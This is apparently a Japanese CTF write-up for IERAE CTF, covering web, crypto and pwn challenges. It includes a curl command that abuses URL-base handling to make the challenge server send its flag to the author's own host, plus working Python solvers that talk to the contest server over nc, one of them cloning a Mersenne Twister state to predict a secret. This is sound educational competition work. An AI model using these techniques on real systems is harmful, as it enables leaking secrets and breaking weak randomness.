IERAE CTFは初参加です。楽しかった! 普段はWeb問題をメインで挑戦しているのですが、今回はなるべく多くのスコアを取るために他のジャンルにも挑戦してみました。 revはチームメイトが解いてくれました。 結果は2人チームで全224チーム中49位!結構頑張った!
web
Futari APIs
frontend.ts
の
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
としているところが怪しそう。
JavaScriptのURLオブジェクトのコンストラクタnew URL(url, base)
は url が絶対URL である場合、指定されたbase は無視するらしく(
なぜ??)、urlに絶対URLを指定すればいいことがわかる。
参考: https://developer.mozilla.org/ja/docs/Web/API/URL/URL
また直後に
return await fetch(uri);
があるため、外部のホストへリクエストが飛ばせそう。
denoではデフォルトではネットワークアクセスができないが、今回は--allow-net
オプションが付いているため許可されている。
CTFの競技サーバを192.0.2.1:3000
, 自分で用意した受信用サーバを192.0.2.2:3000
とすると、
curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"
で192.0.2.2:3000
に向けてFLAG付きのリクエストが飛んでくる。
babewaf
解けなかったけどいくつか勉強になったことがあるのでメモ。
- Expressはデフォルトでルーティングの際にURLの大文字小文字を考慮しない。
- https://stackoverflow.com/questions/21216523/nodejs-express-case-sensitive-urls
-
/GIVEMEFLAG
でExpressを貫通させて、なんとかHonoに拾わせるのだと思っていた。 - Honoは
/GIVEMEFLAG
に対して404を返してきたので、デフォルトで大文字小文字を考慮しているようである。 - Expressになぜこのような仕様があるのか気になる。
- Expressでは正規表現の
*
文字は通常の方法で解釈されない。-
https://expressjs.com/ja/guide/routing.html
Express 4.xでは、正規表現の文字は通常の方法で解釈されません。回避策として、の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。
- https://github.com/expressjs/express/issues/2495
-
以下のルーティングに問題があるのではないかと疑っていた。
app.get( "*", createProxyMiddleware({ target: BACKEND, }), );
-
https://expressjs.com/ja/guide/routing.html
crypt
derangement
magic_word
に含まれる文字は
LENGTH = 15
CHAR_SET = string.ascii_letters + string.digits + string.punctuation
def generate_magic_word(length=LENGTH, char_set=CHAR_SET):
return ''.join(random.sample(char_set, length))
によって生成されるため、
-
ascii_letters
: 52文字 -
digits
: 10文字 -
punctuation
: 32文字
の計94文字が候補になる。
def is_derangement(perm, original):
return all(p != o for p, o in zip(perm, original))
によって、deranged
のi文字目とmagic_word
のi文字目と一致しない。
つまり、deranged
に1度でも出現した文字は除外することができる。
299回まで試行出来るので、299回の試行によって93文字を除外できればOK。
ここで、
-
candidate_char_set
: ヒント文字列で出現した全ての文字の集合 -
appeared_char_set_dict[i]
: ヒント文字列のi文字目に出現した全ての文字の集合
とする。
candidate_char_set
の中から、appeared_char_set_dict[i]
を削除し、残った1文字がmagic_word
のi文字目の文字である。
Weak PRNGでもそうだったのだが、対話的に作られたCLIプログラムを処理するコードを書くのに時間が掛かってしまった。もっと綺麗に書く方法があるのだと思う。
クリックで展開
競技サーバを`192.0.2.1:55555`, とする。
import subprocess
import string
def read_output(
process: subprocess.Popen,
expected_prompts: int,
hint_list: list[str],
) -> list[str]:
for _ in range(expected_prompts):
stdout = process.stdout
if stdout is None:
raise Exception()
output = stdout.readline().strip()
if output:
print(output)
if 'hint: ' in output:
hint_str = output.replace('> hint: ', '')
hint_list.append(hint_str)
return hint_list
def remove_from_charset(
hint_char_set: set[str],
) -> set[str]:
CHAR_SET = string.ascii_letters + string.digits + string.punctuation
CHAR_SET = set(CHAR_SET)
remained_char_set = CHAR_SET
for hint_char in hint_char_set:
remained_char_set.remove(hint_char)
return remained_char_set
def get_char_set_at_n_from_hint_list(
hint_list: list[str],
index: int,
) -> set[str]:
appeared_char_set = set()
for hint_str in hint_list:
hint_char = hint_str[index]
appeared_char_set.add(hint_char)
return appeared_char_set
def main():
process = subprocess.Popen(
# ['python3', '../challenge.py'],
['nc','192.0.2.1','55555'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
hint_list:list[str] = []
hint_list = read_output(
process=process,
expected_prompts=8,
hint_list=hint_list,
)
print(hint_list)
for i in range(290):
commands = ['1']
for command in commands:
stdin = process.stdin
if stdin is None:
raise Exception()
stdin.write(command + '\n')
stdin.flush()
read_output(
process=process,
expected_prompts=3,
hint_list=hint_list,
)
print(hint_list)
candidate_char_set = set()
appeared_char_set_dict: dict[int, set[str]] = {}
for i in range(15):
appeared_char_set = get_char_set_at_n_from_hint_list(
hint_list=hint_list,
index=i,
)
s = ''.join(sorted(appeared_char_set))
print(s, len(s))
candidate_char_set = candidate_char_set | appeared_char_set
appeared_char_set_dict[i] = appeared_char_set
print(candidate_char_set)
answer= ''
for index, appeared_char_set in appeared_char_set_dict.items():
s = (candidate_char_set - appeared_char_set).pop()
answer = answer + s
print(f'SOLVED!!: {answer}')
stdin.write('2' + '\n')
stdin.flush()
read_output(
process=process,
expected_prompts=2,
hint_list=hint_list,
)
stdin.write(answer + '\n')
stdin.flush()
read_output(
process=process,
expected_prompts=3,
hint_list=hint_list,
)
# 終了処理
process.stdin.close()
process.stdout.close()
process.stderr.close()
process.wait()
if __name__ == "__main__":
main()
Weak PRNG
Mersenne Twister (MT19937) で未来と過去の乱数列を予測してみる【Python】のプログラムを拝借したところそのまま動作した。
Pythonのrandom
モジュールは疑似乱数生成であり、メルセンヌツイスタでは生成された乱数を数百通り程度与えるだけで元の乱数生成器を複製できる。
確かにrandomモジュールのドキュメントにも
警告 このモジュールの擬似乱数生成器をセキュリティ目的に使用してはいけません。セキュリティや暗号学的な用途については secrets モジュールを参照してください。
と書いてある。
io_lib.py
クリックで展開
import subprocess
import string
def read_output(
process: subprocess.Popen,
expected_prompts: int,
) -> list[int]:
generator_output_list: list[int] = []
for _ in range(expected_prompts):
stdout = process.stdout
if stdout is None:
raise Exception()
output = stdout.readline().strip()
if output:
print(output)
output = output.replace(' ', '')
if output.isdigit():
generator_output_list.append(int(output))
if expected_prompts >= 16:
size = len(generator_output_list)
if not size == 16:
raise Exception(size)
return generator_output_list
lib.py
クリックで展開
# https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用
def untemper(x):
x = unBitshiftRightXor(x, 18)
x = unBitshiftLeftXor(x, 15, 0xefc60000)
x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
x = unBitshiftRightXor(x, 11)
return x
def unBitshiftRightXor(x, shift):
i = 1
y = x
while i * shift < 32:
z = y >> shift
y = x ^ z
i += 1
return y
def unBitshiftLeftXor(x, shift, mask):
i = 1
y = x
while i * shift < 32:
z = y << shift
y = x ^ (z & mask)
i += 1
return y
def get_prev_state(state):
for i in range(623, -1, -1):
result = 0
tmp = state[i]
tmp ^= state[(i + 397) % 624]
if ((tmp & 0x80000000) == 0x80000000):
tmp ^= 0x9908b0df
result = (tmp << 1) & 0x80000000
tmp = state[(i - 1 + 624) % 624]
tmp ^= state[(i + 396) % 624]
if ((tmp & 0x80000000) == 0x80000000):
tmp ^= 0x9908b0df
result |= 1
result |= (tmp << 1) & 0x7fffffff
state[i] = result
return state
predict_secret.py
クリックで展開
from lib import untemper, get_prev_state
import random
def predict_secret(
xs1: list[int],
n: int,
):
mt_state = [untemper(x) for x in xs1]
prev_mt_state = get_prev_state(mt_state)
random.setstate((3, tuple(prev_mt_state + [0]), None))
predicted = [random.getrandbits(32) for _ in range(n)]
return predicted[623]
solver.py
クリックで展開
import subprocess
from io_lib import read_output
from predict_secret import predict_secret
if __name__ == '__main__':
process = subprocess.Popen(
# ['python3', '../challenge.py'],
['nc', '192.0.2.1', '19937'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
read_output(
process=process,
expected_prompts=7,
)
stdin = process.stdin
if stdin is None:
raise Exception()
generator_output_list: list[int] = []
for i in range(40):
stdin.write('1' + '\n')
stdin.flush()
generator_output_list = generator_output_list + read_output(
process=process,
expected_prompts=23,
)
print(generator_output_list)
predicted_secret = predict_secret(
xs1=generator_output_list[:624],
n=624,
)
print(predicted_secret)
stdin.write(f'2' + '\n')
stdin.flush()
generator_output_list = generator_output_list + read_output(
process=process,
expected_prompts=2,
)
stdin.write(f'{predicted_secret}' + '\n')
stdin.flush()
generator_output_list = generator_output_list + read_output(
process=process,
expected_prompts=2,
)
pwn
This is warmup
pwnは初挑戦! 解くことはできなかったが、pwnを解く手順が少しだけ分かった気がする。
【入門】はじめてのバッファオーバーフローを参考に解いてみた。 gdbで変数の中身を覗くくらいはやったことがあったのだが、gdbだけでは難しいようで、gdb-pedaというラッパーツールを使う。 stackの中身を表示しながらデバッグできるのでとても便利!
gdb-pedaの出力からwin
関数へのアドレスは(多分)分かった。
どこかに不正な入力を入れ、バッファオーバーフローを起こし、stackに積まれているリターンアドレスをwin
関数へのアドレスへ書き換えようとした。
printf("Enter number of rows: ");
scanf("%llu", &nrow);
このscanfに不正な値を入れ、バッファオーバーフローを起こすのだと思ったのだが、バッファオーバーフローを起こせる文字列を特定できなかった。
例えば、unsigned long long int (=64bit)の最大値を超える数値を入れると、0xffffffffffffffff
となり、stackに64ビットを超えて書き込むことができなった。
if (nrow * ncol < nrow) { // this is integer overflow right?
puts("Don't hack!");
exit(1);
}
このチェックは、nrowを0とすればncolがどんな値でも通過できると思ったのだが、そうすると
for (unsigned long long int i=0; i<nrow; i++) {
for (unsigned long long int j=0; j<ncol; j++) {
matrix[i*ncol+j] = (i+j) % 2;
}
}
のループが実行できず、SEGVは起こせないことに気が付いた。
その後もstackの値を見ながら、scanfに入れる文字列を試していたのだがバッファオーバーフローしないのでギブアップ。